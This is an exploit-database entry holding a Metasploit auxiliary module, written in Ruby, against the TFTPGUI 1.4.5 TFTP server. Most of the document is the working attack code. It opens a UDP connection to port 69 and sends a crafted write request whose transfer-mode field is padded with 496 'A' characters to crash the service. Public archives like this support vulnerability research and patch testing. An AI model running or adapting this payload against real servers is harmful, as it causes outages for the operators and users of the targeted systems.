TFTPGUI 1.4.5 – Long Transport Mode Overflow Denial of Service (Metasploit)
# Title: TFTPGUI v1.4.5 Long Transport Mode Overflow # EDB-ID: 12482 # CVE-ID: () # OSVDB-ID: () # Author: Jeremiah Talamantes # Published: 2010-05-02 # Verified: yes ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## ## # # TFTPGUI v1.4.5 Long Transport Mode Overflow # # Tested on: Windows XP, SP2 (EN) # # Date tested: 5/2/2010 # # # |~Greetz to Devin @ infointox.net~| # # Discovered by: Jeremiah Talamantes # RedTeam Security # http://www.redteamsecure.com ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'TFTPGUI v1.4.5 Long Transport Mode Overflow', 'Description' => %q{ The TFTPUtil GUI server version 1.4.5 can be DOSed by sending a specially crafted request. Discovered by Jeremiah Talamantes at RedTeam Security. Greetz to Devin @ infointox.net. }, 'Author' => 'Jeremiah Talamantes (RedTeam Security)', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'URL', 'http://www.redteamsecure.com/labs/post/37/redteam-discovers-0-day-in-tftpgui'], [ 'URL', 'http://www.exploit-db.com/exploits/12482'], [ 'URL', 'https://www.securityfocus.com/bid/39872'], ], 'DisclosureDate' => 'May 02 2010')) register_options([Opt::RPORT(69)]) end def run connect_udp print_status("Sending naughty request...") $fn = "A" $md = "A" * 496 $stuff = "\00\x02" + $fn + "\0" + $md + "\0" udp_sock.put($stuff) disconnect_udp end end |